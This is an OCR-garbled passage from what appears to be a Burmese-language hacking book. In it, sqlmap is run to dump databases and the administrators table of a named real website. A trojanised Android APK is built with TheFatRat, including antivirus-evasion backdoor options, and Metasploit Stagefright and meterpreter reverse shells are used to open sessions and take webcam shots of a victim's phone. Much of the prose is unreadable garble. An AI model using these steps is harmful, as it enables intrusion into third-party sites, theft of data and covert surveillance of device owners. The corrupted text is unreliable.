507 database c00> Email 5003 table 03 ea:@: column o ‘?o(ﬂewu column
C c
aoooﬁpeweo]u
=

‘ Gek DBs Get Tables  Get Columns | Get Data

Save Tables  Sawve Data

ermail_id

[og oy ]
:D’J:o\)sa:ﬂ column 6 eogq@@o@: column 00307
'] C
20l
'] C (o C [og o f] Q C o
sl saaogaog C\goeaoocogo"oecwo I 89280C 606007
[og C [N

B$@éq@me€u orgﬁemom moeaoocgmoemoa ol search or% o?@
ogﬁem%o% Target o> SQL vulnerability %1 ea aoegoo%eao:é@o’]mugu
vulnerable URL eogqé qz:u&é@o’]m(ﬁu N s\aoaé vulnerable URL omes
database aoof]mugu QI table aoo’]mugu Gl column aoo’]mu%u s'\aoaéooe%s

(o] ’] (o Q Q C (o] C C c O
data 803(73 61()300)())" 36022 38’330(;8(\)8808(73 C\BOGSO’JCGlO)Q)S?O)’D

C '] C
(JQODOO’JgelO [2lev]|
DB Tables Column Work
_ 1 (Aal)
2 . 2 (Aa2)
' -3 (Aa3)
_ 4 (Ab4)
A b _ 5 (AbS)
: T (AbB)
. (AcT)
' pe—— - 8 (Ac8)

(Ac9)



C ° [o] log o [o]
SN Table CORM  WIYIDW e?o’]o%u Table
[og [og ° [o] C o ’] ’] c c O C (o
02033|C:0e2 column o5 o200 VOIBI 310 0R$60250) WOEIICEPEY
L d [ L [ L d (o]

c_oc ¢ oc, ( 0,) ; SSloneS c 9 <
eWTOCIV @ 0C  (R9 ﬂoegeﬁo@ao DWI OOE0YeD  FOO)
[o] o ’] oC C ’] C [og Ce ] o o ’]
Ogpzoladgedl sleomc Database A OIOIMPOIOID $0§2 @ooo..eoa,oy)o I
B.C o%eocu@ :Dmeoceps';)com Table eow:foaecooo% ?e %5
m@a@eo column col&: ep"m oooele§§co>sgcgog DB 0303?9903
aoe%oqeugsg&)c: ep:tgocq eog@ceﬁoo’]u e§epo>c:eo ogﬁeo: 0% C\%QJ(%O\)
T

Database A 06
Q
3
L

[
N -

C C Q C ’] ’] - JC c O
S’BQJ(‘DS’BC\)(‘DGOD €1€§@QDQODODO [0} | Ie] G@’DC (78]§GOD’DODQ’D
6 1 1 L iL ° (]

o}

N cO QO C C ’] C
%QQGC\J)J?ODODL& C\BS’BOOD’D @(DO [epleb]]|

& BSQL Hacker v0.9.0.8 - Beta but Getting There! [= =
File  Templates Injection Import Edit Exploits  Help
= H # Injection Wizard | b Start Stop | ORACLE - o TestInjection | | g Automnated Attack | &)

| ‘& Dashboard | 5% Detection —" Request & Injection | f:.:? Settings l:___J E:dl_T:!p‘t_e_cI_Qa_t_ab_asn_a;

Taget URL: | T
Status

Request Coum. S.|.388d .Time Max Thread |_)I
0 Orfe 0sc. 10
. Request History - Preview
[¥] Enable History . Web Preview :'{ . HTML | Raw Request [ Appiication Log]
. ° oOC N\ C C C
Windows > s»o?:@ﬁcog c$200 Tool cmozo> BSQL Hacker

tool @ogo’]oa(ﬁu Target URL oo 880%\ target website (7% ooéogé:@:

Automated Attack o% ea:qlugmo Start &6 DmégLéo Sl 8e§ep§oeo>?

C

Q _C C ’] . . Co O C C
3260000 GGLD’DE]GOD?O CIIDLZII Kali Linux ?’D C\BOGSO’DCLL)(T? DS 3DCOI

[



SQLmap
Kali Linux ¢> build-in o’]oé@:oao:@ogota SQL map (7% S’EQ;):B[@:

§%§’3 C\B(SGSO’D(%@@TQGS’DD(%O,]II

:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -—dbsl

. Q C q C (o C
Terminal 07 @¢oloodn 0g$603500:09020306cV:6M sqlmap -u (url)
L O° L O o

—-dbs ¢l sqlmap o> SQL map (7% saog:@le(ﬁdé agLC\%oy)o']u -u NEoN7Y
Q

(%

C Qo c Q c c C
6$20¢> vulnerable URL 07 coppecday sgqgo']mwu 0Q$6020me0y Target

. . o [ c
co2:002:03  bible-history.com 030 $9$2 ecoo@eo:ooo:o’]mwu --dbs omeo)

o]

C C .
db = Database, s = search (database search) @@o’]mwu Windows app
(o . C C C ocC Q
¢o§:n Havij § v6ea00830) 925086039203¢:C101 vulnerable URL o3

aom(ﬁu @:em’; oime§mogsoé: Database aoo’]omgu
[12:18:51] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.4.25, PHP 5.5.38
back-end DBMS: MySOL == 5.0

available databases [5]:
[*] bible glossary

[*] bible history

[*] information schema
[*] keywords

[*] kidsdict

shutting down at 12:18:51

 _#

Database weg@écﬁcfiem’; bible glossary, bible history,

information_schema, keywords ¢ kidsdict agL@ database 92 eog@éqo’]mu%u

o Q C c 9 O ° C q C
database 61’.)8(0@80;)’38 (2]ab} O)®99JC§®(7) S’DODZB[@Z SO(‘DGT.)OD’DZO oIl 9
1 o o} [N L L L | Sae} L
N

Q

ScpePeoco) database c’]:?oom

( <. Q9. ¢ 2.0 c_ 9 i c c

DMAWDCEON TN 000 PPN O €1 MNP 660RQC

eo’h)u 03|$eo>8memo 0698 epe@eon:meygu 206VOM mée@m’a&@
° ° L 4 ° 1L IL L

¢
[l
So

we@ocﬁ bible history (7% §p@o’]@u§u

C N\ q C
OO0 §@§’3 @O QI
L IL

:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible history --tables

sqlmap -u http://www.bible-history.com/subcat.php?id=2 -D bible history --tables

ocoe command o> sqlmap -u (URL) --dbs g database §p:}o>oo’]u



5607, Database 603 23§0o32G[gdcd --dbs esepe -D 03 e[gocsabiclecdi

5228:0lon
(o C o . . Q Qo _C C > ©

Q$e02d20000  bible_history ol database :D@e?qc S0MEPEEOM  table

D Qesocder  og§emd  mad[gec database 3 oo

@603390)0% —tables o3 39:)5:@[@: table search mﬁqo’]@:e(ﬁu 3’]@@08
° o L L L °
8300050’]639’3 (731$G0)80f3:(\%050§ command C)Oé sqlmap -u (URL) -D
(Database) --tables [gdcloocdi

Database: bible_history

Emails
administrators
bh_addform

bh guestbook

bho _board bans
bho_board forums
bho board posts
bho board search
bho board topics
bho board users
bible book

books

cat

categori

chapte

chaptersl
commentary jfb
eastons N

%000561065(03059¢ bible_history s3c) Database ades table eclC:

o]

J QL(T% 803@8610(]9&8" s'\»oaéo?)m 0369'-8(7? SO(T%@S aoqo’]@;e(ﬁu :) @J’DZGO)?

@@J’JSO’] CII%ZG§’DII

:~# sqlmap -u http://www.bible-history.com/subcat.php?id=2

-D bible history -T administrators --columns

8maCen tables ecpodode  administrators 30y table o3
° C C 9 C C C C C °
sadi[gdlognicleddi (006986600 [gp9een[gdclondd)i 96l en
c C o N _N\ Qo c C’]
0g$e00503:503 command &3 [o3p5qe>CdlN

sqlmap -u (url) -D (database) -T (table name) --columns @o%o’]om%u
database 03@ table 08@@6&% column search (--columns) o%

S’DQ;)ZE]ET)G%DO)’DOWII CD’DGOg 61(\)’3@(\\) @éq@%’)éu
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CHAPTER 23: Mobile Hacking

Introduction
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Hacking Android Using Metasploit

° N c C ox RN . °
00eVNES§ P $e02302¢, Kali Linux Terminal > msfconsole oy
o _C c Qo C . Qo Qo o
edmoogqm(ﬂu Metasploit Framework Console > sao:eeaTa?moo']u
. . c Q _C C C o c C ’] c
Metasploit Basic 29$:02 saeoa:@mem@qmeogo? COPY Q60 D201L DI

--=[ 1783 exploi - 969 auxiliary - 299 post
--=[ 503 payloads 40 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
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saooo%cﬂs»o%é: android  exploit eogo?)m stagefright o%
° Q _C C
s»oa:@lcomo']mwu
L
exploit/android/browser/stagef
it )

H000lm038: stagefright DS cepcdQadzomm @5 oleodi show
pC3 Stagelrig ? SPO: 9

. [og cOC ’] log
options e@o@g@co foaToN]l

mst exploit( ) > show options
Module options (expleoit/android/browser/stagefright mp4_tx3g 64bit}:

Name Current Setting Required

SRVHOST = The local hest to listen on. Thig
SRVPORT 8 e local port to 1i n on.

SSL alse Negotiate SSL for incoming conned
SSLCert Path to a custom SSL certificate
URIPATH The URI to use for this exploit

Exploit target:
Id Name

2] Automatic

msf exploit(
Q?D@éelé SRVHOST o> zero e @o%e§ono% eogelo’]e(ﬁu

N C (o C O~ Qo
FWVPIESPED PY$e02503q, IP address o>

msf exploit( e RVHOST 192.168.43.150

20Cl$203¢  SRVHOST o3 og$eoo5adq, IP  address

C c O C’] C Q C’]
ODOD?ODC\B(‘DO ool Enter C\B(‘DO 1

msT exploit( f set URIPATH /

) > set PAYLOAD inux/armle/meterpreter/reverse tep

]

o}

e§oogo>oge@05:§0 set PAYLOAD oaog§ogeo:el(ﬂeugu 8e§epeo
o
l9p)
L

ogﬁeo;%m linux/armle/metetpreter/reverse_tcp Payload 20050050305
— d L



} = set SRVHOST 192.168.43.158
SRVHOST == 192.168.43.150
msf exploit( ) = set URIPATH /
URIPATH => /
msf exploit( ) = set PAYLOAD linux/armle/meterpreter/reverse tcp
PAYLOAD == linux/armle/meterpreter/reverse_tcp
msf exploit( ) = show options

@C@ S5aE 2000501009038 conquoll ¢ 00%0)03@5
? @61 L [ 0*611 $

options &3l o350l
Payload options (linux/armle/meterpreter/reverse tcp):
Name Current Setting Required Description

LHOST The listen address

LPORT 4444 The listen port
Exploit target:

Id MWame

o] Automatic

msf exploit(

s»ooogo’]s'»o%é: Payload Options 263

L
C C
cles} elo’]ewu LHOST @ current column @ RM B

c C O N N C ’] C
Q0 x00g, IP § @gqo el
msf exploit( ) > set LHOST 192.168.43.150
LHOST => 192.168.43.150
s»ooogo’]s'»o%é: set LHOST $ IP address o% @éogé:a%o%o’]m(ﬁu

msf exploit( )} = set VERBOSE true
VERBOSE == true

Q C C Q _C C .
Verbose o true oam@meo:qmo’]mwu 96362 show options

@ @éeu‘ie@qg LHOST oo IP address $ eog@éq@@ogo’]m(ﬁu

Payload options (linux/armle/meterpreter/reverse tcp):

Name Current Setting Required Description

LHOST 192.168.43.158 yes The listen address
LPORT 4444 yes The listen port




exploit( ) = exploit -j
Exploit running as background job

Started reverse TCP handler on 192.168.43.150:4444
Using URL: http://192.168.43.1560:8080/
Server started.
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c320000 S’BO?CZ @CGlO [2]eN]]

stagefright mp4 tx3g 64bit - 192.168.43.1:40383 -

ser-agent: "Mozilla/5.0 (Linux; U; Android 7. 0; en-us; MI MAX Build/NRI[

(KHTML, like Gecko) Version/4.@ Chromeys53.0.2785.146 Mobile Ssafari/53

9.2.8"

192.168.43.1 stagefright mp4 tx3g 64bit - 192.168.43.1:40383 -

- Unknown user-agent: "Mozilla/5.8 (Lin U; Android 7.0; en-us; MI MA

bKit/537.36 (KHTML, like Gecko) Version/4.@ Chrome/53.0.2785.146 Mobil
iuiBrowser/9.2.8"

ogﬁeoa%mem’; Target o% Android 7.0 g 05:@000:;0’]0)&5"

s»ooo%o’]ie@o@éqé target €1 Android version o% eog@éeﬁoo’]u Target &>

cQo ° . . . C c. .9
QO o?°e§o\> Mobile Browser o> Xiaomi §, MIUI browser @o)oawe?ono']

C C C (o C o C C
GO@@CQO QOOII (GS’B’D(‘DO’]S’BSOQGO‘%ODGO)? S’B@’DZ LI?§ZO)®C\BZ$° 0000028

C
O)’DGO) @00’103()0")

= stager ... (36 bytes)
{374540 bytn— ) to 192.168.43.2

on 1 opend (192.168.43.2:55659) at 2017-11-22

c N . N . . C co
R $6077¢, Target device § Active session 009 EICET

Qo _C . Q C (o c (oY
s0qCe0> meterpreter session (1) opend e?@: @ceogqcﬂewu 060274, IP
address o> 192.168.43.150 Sl coo%% eo:c%a%o%cﬁ target mobile §, address oo

192.168.43.2 Sl 3’]0% @é@&wo"@é oa%emgogoaé same network
MOamNey Qe @m(ﬁ By 388Elooddi sgmwj § Attack o3
T 8"1 ?1 P T L G].éL 8 L
Same network ¢>00 9030335 WAN sae§$° (88% network QJC‘; eale 90303)
° ocCc O q C . o C (o C log
s»o?:@ﬁcq?o Qceoy Port Forwarding O QW0G3ICI0OIEI
msf exploit(

meterpreter armle/linux uid=1013, gid=1013, euid=1805, egid=1005 @ localhost.localdomain




. . C cocC o_¢C :
Active session 0203 ogzeoooc&c@ S0qC60) sessions -1 command

o5) 83:1"3:@[@: ew%@é%éo’]m(ﬁu

L

L

msf exploit(

o . . C C C
ae0l o de>  Session list e@o@gem’; ID ¢ 1 0036
N\ ’] C ’] (o (o} C . . N o o

cm3oloooon g e@oc 0$60200>  sessions  -i 1 g session id

o (o Q ¢ C ’ :
eo:qweo‘;q?m(ﬂmwu
msf exploit ) = session -i 1
[*] Starting interaction with 1. . .

meterpreter > sysinfo

Computer : localhost.localdomain

0s : (Linux 3.10.40-geec2459)
Architecture : armw7l

Meterpreter : armle/linux

meterpreter >
C C o ocC . o ° e N
@:qcem’; s»oomcﬂcfs»o:c: sysinfo o 33:13:@[@: victim §), System

L
. . Q coc¢C ’] C C ’] C C C (o .
information o> @géco OO 8200000 C\)OGSO’DC@J(‘DOD@ securlty
L L L

o}

C . C QO CcOo ¢ o C cocC C

S’B’D°§8°GCD’D Android QJ’D"ODCCD’D OZ)(‘DGJ(‘D QJO)SO(‘DéLCO)’DB(D@Z @[JL
o Q0 C N _Q

OG(T)’DCO) Android GODS’BOD(T)GO)’D S’BSOC@GE]OD’DQJ aLCO OOl 3200 D

sae@s'»e§eJ [F_qo’]m hnk oo 8080 o 4444 m e@o 2608 elo’]ewu

meterpreter = help

o

N C C C c O Q _¢C
meterpreter OOGGT.)(‘D@ joplevlay) ege@omqewe?mo 020§Cc00D

help ecvs %o%eaT@: command eog% e@%@qlog(Description) [~losles’

coc o L
@8% O’]O)OOII

,_
0 o

: o C o o
msf 59> Android § e?co:D payload 07 s'»oomo’]ceoas'»

3o
9")

= search Android/meterpreter

Q (o Q C ocC
meterpreter payload oa°:>a§:>ao epecocu(ﬂm s»oomcﬂs»o;o

§Pey gL olooadi shell oa°oa§s';>o>moa’3 qoachcemo meterpreter 6P shell



e@oé:@: aoeo]u
Metasploit  Framework we@oé:o‘% Metasploit Framework
C C C C C . (o]
929$:6EPMQIN aom@: em@eeg:eg:(ﬂewu metasploit payload eogc?

@ 5S¢ Android 52000500058 codETdOPELPIcA: Qo3 cogeHGlI
29 3 2 [P § 2 9385

The Fat Rat installation on Kali Linux

:~# git clone https://github.com/Screetsec/TheFatRat.git

o

3200050 command o S’DOS:E][@: TheFatRat o3 qwo’]u TheFatRat
L L L L

o . C ° C c c .
200> hacking QOOEPED G 5203:0C0) Program m@a@@@: Android
L L d o] L ° L
. Q Q . ,0C N NoSAoneS

hacking QOEPED M TPOEOMNCIPD GUIRCO) tool coo olocolonodi

L d L (o] L ° (o]

:~# git clone https://github.com/Screetsec/TheFatRat.git
Cloning into 'TheFatRat'...

e: Counting objects: 13525, done.

e: Total 13525 ( ta 0), reused 0 (delta 8), pack-reused 13525
iving objects: 100% (13525/13525), .72 MiB | 836.00 KiB/s, done.
lving delta ] (4969,/4969), don

: % (9891/9891), done.

:~/TheFatRat# ls
autorun config java output prog.c temp
backdoor_apk fatrat LICENSE PE prog.c.backup tools
backdoored grab.sh 1lists postexploit README . md update
CHANGELOG.md icons logs powerfull. setup.sh Winw
:~/TheFatRat#

. C C C Qo _C Q ocC o
Is § List cood[gpdecd Dqfeox setup.sh Do) FEewiod

eog@éqo’]e(ﬁu .sh 835@03(\% ./$° run qeuge(%mom og%é(ﬂmwu
:~/TheFatRat#
./setup.sh: Permi
:~/TheFatRat#

Q9 _OC N\ cC o _ ¢ C’] ocC L .
SO?CZO run @Q)S«?GlCGO)? 3200000 S’BOZL)CZ Permission denied

o}

Q N (o c O o C Q
300O20 GOD@C 61@’30 1 (78]%60)’30) 20000 program file o> executable
L & 1 i L ° L

L ’]C C o] Q ’] C cocC Qo C .
permission (X) 60lC:060:@  BOIOWI (e@m(fcz 0090000  install

C C ’] Q C C C ’]
C\BOGl@OQS’B@ CDG§GS’B’DC OO(.)G@’DE]@CZO II)

:~/TheFatRat# chmod +x setup.

:~/TheFatRat# ./setup.sh



Qo _¢C Q ocC
930qCe0x setup.sh file o> run &Lco’]@u Install oys2al XTerm
. . C 9 C C o _C C
(terminal window) $2620:6CV:02090 05006lecS omeo@q(ﬂq{:u 100%
@ C C C ’] C C . Co R C ’] (S
P2EeSOC 60I¢QED0NI 5COD$MY connection cOPd: R0l I shorteut
C C Q ¢ ’] ’] Qo _C .
create 920300 y/M 6e:a00QCE0) Y e@mmo I sleogqc  Terminal >
o ° L L 4

C N C Q o ¢ ’T‘ Q _C N ’T‘ C ’] C
O’)Q)G§GTDOGGP(‘DG§G§ fatrat C\B° Gll(“DGS C\B(‘DO:)’D§° cO C\)’D?’DB@O [oplob]]]

Create Backdoor with msfvenom

Create Fud 100% Backdoor with Fudwin 1.0

Create Fud Backdoor with Avoid v1.2

Create Fud Backdoor with backdoor-factory [embed]
Backdooring Original apk [Instagram, Line,etc]
Create Fud Backdoor 1000% with PwnWinds [Excelent]
Create Backdoor For Office with Microsploit
Load/Create auto listeners

Jump to msfconsole

Searchsploit

File Pumper [Increase Your Files Size]

Configure Default Lhost & Lport

Cleanup

Help

Credits

Exit

1 apk [Instagram, Line,etc]

ols203&: LHOST IP @éogé:%é:o\ae§ep eepo%o’]eu%u IPV4
[o]
o

[o] 00 Q0C C ’] C
6 address 6o D&coloWI slevewy
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(o Q Q (oge] C CCC o C C C C
§GOD’DOD(‘D SOO(‘D(.L)@Z (TDJOO(T%OOBiE]iCIBZQJCOD’DII OD®§8‘SS’B’DZB(; S’B@’DZ

§0306900f3:e§0\303e03<7%o'] 8§é:m§:% qe@aﬁonu 8co» Port Forward

C\)S@: 005268 c30londdi Port Forwarding saa$: :f):oa$ (ﬂglcﬂomgu
L 5 O L L ° d
ogﬁeonmeoyg tcp port 1234 ¢ forward C\3(Sooo:o§ tcp forwarding address
Q C o O C C o N .
o copB:vod0lewll Dplaeslesler It -{eplElep) Port  Forwarding
L S L L d IL L o °
398:066p009¢ 08220630l eamem%@ 58Ecloncdaopi

pioesp : R S [ A d

C C C . ocC C N ocC C C °
sgommoo¢cm File Path (qcm@eﬁl’ﬁ, cgcwegsa@ °im?)
ea:eo:q@oaéqu ogﬁem%?oem? Desktop eoTSso Happy_Birthday.apk 98303
Android  application 838@(\): %10)’3% s'\»sﬂo%c\) ooéol?m%ogo']m(ﬁu

o¢ Q o ¢ N 4 Neos [*) N 00 O . ..

@C§’D@8€Oﬁ) 61(730)3’39 0250 G®§II ®’3€|1:DO:)S’DG§§(“DGO)’D 000) Vvictim
L o Ll ° 4 ° J L e ° ° L3

< oc c .. o

CDGCD’D(‘DJ@Q;) O@SGC\)ZGO%B(DG(D 3’3@’38 apphcatlon GC\)ZGO&))(‘Q
2:(12E ) < () Q o¢ () 0 C <. <

S’DCDZE][&CO [epJeN]| 200D CODs0OD @C%’D@@(‘D (‘DQ)CDSGlC\)Q)QQ) Space
L L [ L L L L o °

\NOC C C C OC’] C C Q
@@’DZODLEC 0c320C I G@’DCZOO’JZ&LCOO)Q)II G§’D(‘D(‘D apk O?GOD?

N o

ee@oc:qzazeﬁu poe> - Facebook.apk ®oaé@<§eo]u @:qé saeoT(‘.}s';)o?L)&
ocC C C Q ¢ 9 ’]

LDCC\)@ZG@’DCZ SO LNV 610 @II

L L [

c O o ocC
OOMWQY  ©§a0y0  Downloads folder o?)?o abc.apk ocecv:

Q (o Q Q o ° cC o ¢ Q OC¢C C C
oo e?o’]o%u 3’]03 dre0qC /root/Downloads/abe.apk c@cmeze@’ac:

cOs @’JO’]" C\)(S“G@’Dé“o(‘fgd\)%é] 88 06 CGO) 3’3@"3’3@:}3" 3’3’3"(\3" @CmC8
85 ° 9 s PePreR (¢] ° ° SO0 QMG

Q C ’] (8
C\BS’})OO [eplev]]]




CEPOODEMETD MIScor 3 cecss  Payload  cqioodqen
¢ 3 3 3® 250698 y FAPS

@ogo’]oa(ﬁu Q@o@éqg payload @?o% [~los) éelo’]e(ﬁu

o4

(o C Q C o _Q .
MQ$eoxmeo) tep port 1234 o5 forward cvoconior60y android/
Q ° C . C C C ocC
meterpreter/reverse_tcp o3 ad:olocSi Options 3 @@moe@oc 30050l9203¢E:
— L L ° L

Q c o ¢ ’] C
3m GGTSQJQ)C\)(T)O [oploV]]]
L "o L

C C C ¢ 9.0 coc ’] C

C§OMMODCMEm apk ©¥$03:Q tool egegdscionoll 3¢
C C c C o

Backdoor-apk coodeoqc  oggeomdmeony  old  Fatrat method 036

eq:c@o%o’]mugu 2 ol
Ol L

r for this configurat

Qo _C C ’]e ° ocC . c 9o Q
@":D’J:@e?elcem? 3200000 (.L)(DS’BO?CZ listener ®§ODZQC\)’DZC\)

o}
o}

o

3o

[e] ° L
(o C . Q Q C
space e@o::ﬁ cozali mpeomdmeony Birthday o) eocda0lododi (.apk

C C N C C’] Q00 _¢C C
[es]oplavslolob) ®C§’3@8 60:300320C GGT.)(‘DO @II @@?@OD(‘DGT)
C

OOéGOZ‘DGTDGC\%O’]II)



Birthday

onfiguration fil FatRat/config/listeners/Birthday.rc

255 [ENTER] ke o return to fatrat menu

Q0C Q Q c C ° NN
scgcecu.,m Birthday o coicon00d ogj$e0 sao?:@@o; apk
C

mmé: Happy Birthday.apk @@0}0@@06 eg:eimo%eeooée@@: o:o%§é:

(Y c St t 38580 S ¢ c SA3 apk
$00:, Y$eoy, target @d c0:QRM§olI 32000501 0260 031$60050) ap
390305 listener 8350% 33&390%103&3@(3030 @ooo:o’]oaugu enter
e§oogmogq|ogeo€‘;q%ogqéeo>o Fatrat@l main menu o3 B$eepo%oao:eoo’]u

L ° j° L (o] d

v 1 | fir Home | TheFatRat @ backdoored
() Recent
Gr Home app_ output Readme.md
g Desktop backdoored.
apk

0RI$607503 65535030503 BEecwzoops Home/TheFatRat/backdoored
Doy folder eogob@o app backdoored.apk Boyso0pd80 (g eogeﬁoo']u
s\aoageo 38 éo)oamep §oe@m e@oé:c@qcﬂ@u 8§’39é3’30?_)8:60)? G0
eooo.,o’]iu ogﬁeonmeoy; Happy Birthday.apk C\% eo:c@o%o’]@u Right
click >> rename § e@oé:m@@@@: space @'chué: epgo:o’]@u .apk o%eoa?

C C
Q@Q)GlUIDLZG§’DII

[09] Jump to msfconsole

]1—I[-1-[menu]:

Fatrat §, main menu ¢> Options 9 o% G%T;@JOS@: msf o?)o%

C C C c O C’] C
[=oloplavies] OCGGT.)(‘DC\B(‘DO [oplob]]]

sf > use multi;’handler
) > |}

. o O C c
msf > obgsoeoa? use multi/handler o> ab:c00d0loI

) > set payload android/meterpreter/reverse tcp

payloac => android/meterpreter/reverse tcp



©§,67 payload ean 53 $:m android/meterpreter/reverse tcp o%

’] (S N C ocC C ’] C

GGTSQJOOQOD’D 90398 QOO OOCO [eplob]]l S’BOD@S’BO)CZ set payload C\)OGlO [opleb]]]
N C - :)C - -

3200000 (.BS’?)O?C‘;GO° 1

msf exploit( ) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit( ) > set LPORT 1234

LPORT => 1234
msf exploit( ) > |}

LHOST $ LPORT o3 CDOS?OSGO"O)’DO’]II (s»@eomo:é"m
(731%@03’599@§$° tcp port 1234 o% forward co ooo"oas'»e@oc’ e@o@ @@

G§’SII)

) > exploit

° cCrCcmMmoO C . Q ’]
322:Q02 S’BCDCB‘D@Q ©00C CXplOlt QL 610 @II
L ° Lo [

msf exploit ( ) > exploit

Started reverse TCP handler on 192.168.0.1:4444

Starting the payload handler . . .

Sending stage 90 bytes) to 192.168.0.5

Meterpreter session 1 opened (192. 444 > 192.168.0.5:54892) at 2017 -11-24 (

meterpreter >
. . C . . oy C
victim ocopd: apk install @@ meterpreter session 020900 q@
o 33 adl 2 .9 ¢ . .. [oC, C Q
S M 610 @u ? ecuiqod enter G2 saoaoEﬂécew command oM 6V
coc Ll L L ° o L 14
@@éco I
meterpreter > check_root
[+] Device is rooted
meterpreter > webcam_snap
Starting. . .
[+] Got frame

O

Stopped
Webcam shot saved to:  /root/JdIECTsr.jpeg
meterpreter >

$0§° command 39%@ scoo0l check root § root 600’3 @8:

®6e@0°g€@ webcam sna noepad S’BCD"E](‘D’D victim 5 o5)
°% ° — p i GP L i° l 61 L

N N

S,

G
-
@

C c Ooc¢C ° ’] ’] C C
9J(‘D§’DQJCZSOCG§@ QOOO0IED0II 000D CDQ)§’DQ
d L T S 1



G@’SB@’D"O)’D(SC\% @ @808@(18 G@CC\)(%O O)QSII
° 2% O°§L L
61 Gl(lSQJmmGO)’D @@O)S?G?BC apk (QJ’Do

N

Q c _C
30;)C9§8®’361 S’B (92]

, r80

(%

C C
jezlaviovloslep) GGWC:Q)@: CD
o} iL 8 ° [¢]

o[gfe3d oBle3po8e>aq0p b6 wepcdod

C
Cs
Q C ’]O Q [ege]
8’3@’38&)80)30(’7)8§ Zapya cQO: G)C@: ('D:GO:O BSSOOD’DGO) o000 00)
L0 O L ¢} L

/

c _¢C C [e] [eXe BN Qo C C C f] C ° C

CDCQ§8®’JGO) QOOO0OcO VOl 9961 ('DOOGGl S’BSJ('DS’BC\)O)GO) cO m@o"aq@ H
6 iL [ e L

C\)é: QG('D’J(%:CDC\% S’B@’DSQIDLGOC?O% OZ(:)O%GQD’J S’B@ 8’39(9J[ ('DJI[ C\)§@880§é
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CHAPTER 24: Metasploit

Introduction
Hacking ecpmoe§aaeogs’ae§% Metasploit s‘c}oooor%
@Dzﬁ:@@:wozecgqém% o&olonddi Metasploit Project :Dé 03$<)J|looo

Q‘S@e s Bdg0dmda @6@"@0’)’) Q‘S@e el F0§0088|DEOD

28I°SF l 2 3607 8IS P PP ERR

C C . . C C C C C N\ C

ecoo@eo:o']ooooll Penetration  Testing  s2000  ROQUIDOIV036060)

o L L o S

Hacking (Attacking) tool 60203 sa:ﬁ:@@éoooe@oé malicious user 600l
O L L L ° o

saa?:@[mo[@o']mof)u

Get Metasploit

Metasploit Metasploit
Framework Pro

Download Free Trial

Qo
eplelepp)

o o CcOo ¢ ° ocC C C
Framework o> ooooelloosa:n:@[&ceo @oo’]oooou
L L L L d
ccC o 0
Open source @0@0& Nessus & Nexpose o> Powerful scanner
co0q result coRs 0\30633:15°@§8 & payload eoléopion oloée @8"
3 Sl 5% B 2912 s pay Q=8 [
N C . o ° N C C '] C .
00523 e00n Metasploit o3 sa:n:@p) Q26007323 D @oo oo Kali
° o L L L ° o

. . c c o . Qo
Linux ¢5c0> Metasploit o’]oc@:@@oooe Terminal o>eg msfconsole o

Q _C C o\ ’T‘ 2,2¢C C ’] C ¢
edmoogeﬁ, (=3 QB‘,&LC(?’J@@O [epleb]]]

Working with Scanners



:~# service postgresgl start

:~# msfconsole

=[ metasploi s 1
--=[ 1783 exploits - 969 auxiliary - 299 post ]
--=[ 503 payloads - 48 encoders - 18 nops ]
--=| Free Metasploit Pro trial: http://r-7.co/trymsp ]

> e??oy)eco: @5 q@e@qéeoyg Metasploit Framework Console
N C C c . . Qo ° C o
o eepad§§ [§6Slorcdn Metasploit plugin 603 F03(gepe> Zes0Ce[gend

fT‘ e 9 . C o Q C ’] c
msfconsole cal oo service postgresql start Q060G QVF00I0OWI

%
:Doe@oécﬁe@elé Metasploit Cl)é PostgreSQL o% o6, database s»@og

22055gconcd [gdTloncdi (8e02p service postgresqgl start [§:o msfconsole o3
Todas SR SeoncSed]
eala32q¢ 3[8: eomionaded))

msf = load wmap

[WMAP 1.5.1] === et [ ] metasploit.com 2012
[#] SuccessfTully loaded plugin: wmap
msf =

Metasploit Plugin 036?@030:) wmap o% $O§0 eaT@ooo:o’]m(ﬁu
N C Q C
msf> 00 eepade eaTC\%eﬁoe@u

msf = help

wmap Commands

Description

wmap modules Manage wmap modules
wmap nodes Manage nodes

wmap run Test targets

wmap sites Manage sites

wmap targets Manage targets

wmap vulns Display web wvulns




plugin eop ea@ 999’] saoomo’]s'»oac’ help o% 83&?:@[@:

o
command 608§ O]:EO% N G@DB (73 GC\)C\)’D&CO’]O)OOII

msf > wmap sites -a http:;ﬂgz.1&..4;.153
[+*] Site created.

Vhost Port Proto s es # Forms

5.77.39.8 S077.39.8 80
160.10.10.10 10.10.10.10 3000
192.168.43.150 192.168.43.150 80

2.168.43.150/mutillidae/index.php

wmap_targets o3 83&?:@[@: s»eoT(‘.’Btfo oloy 192.168.43.150

L
N (o C C c O ¢ ’]
target (00] @gogc: CDOD?ODC\B(‘DOD’DO 1

Host or : Path

[¢] 192.168.43.150 192.168.43.150 8@ se /mutillidae/index.php

00500500 target list o3 @ Sd30005 wmap targets -1 o%oa@
3 °Ys g L gw (¢} p_targ ey

@ Cgéo’]mwu (tar et oneo) NS cSD @ 5208075 06AN050
gL g B oJ% i g o ° °

target:
Site: 192.168.43.150 (192.168.43.
Port: 80 SSL: fal

F[*] ing started. 2017-11-23 21:49:37 +0630

[#] Loading wmap modules...
C c o
ogﬁeonoa target (remote system) m scan QLoew) module cop plep)

list OQOS@QC\BO']CD -t 03 s'»a:BzEﬂéLco’]oawu


ht:/p䑮䕒䑮

msf > wmap_run -e
[*] Using ALL wmap enabled modules.
NO WMAP NODES DEFINED. Executing local modules
[*] Testing target:
[*] Site: 192.168.43.150 (192.168.43.150)
Port: 80 SSL: false

[*] Testing started. 2017-11-23 21:53:13 +0630
[*]
=[ 55L testing ]=

[#] Target is not S5L. SS5L modules disabled.
[*]
=[ Web Server testing ]=

[*] Module auxiliary/scanner/http/http version
‘[*] Module auxiliary/scanner/http/open_proxy
auxiliary/admin/http/tomcat administration
[*#] Module auxiliary/admin/http/tomcat utf8 traversal
[*] Attempting to connect to 192.168.43.150:80
-e o% :1:3@ WMAP g scan Screenshot
s%@és%o?o%em? e@ge@em’;o’]u 880% network O(\)?’J [>IAH @@59’3’3@8
(‘Z)@: §D:C\>ém’30’k\%§e(ﬁeéqou
sf = wmap_vulns -
*]+[192.168.43.150] (192.168.43.150): scraper /
*] scraper Scraper
*] GET Metasploitable2 - Linux
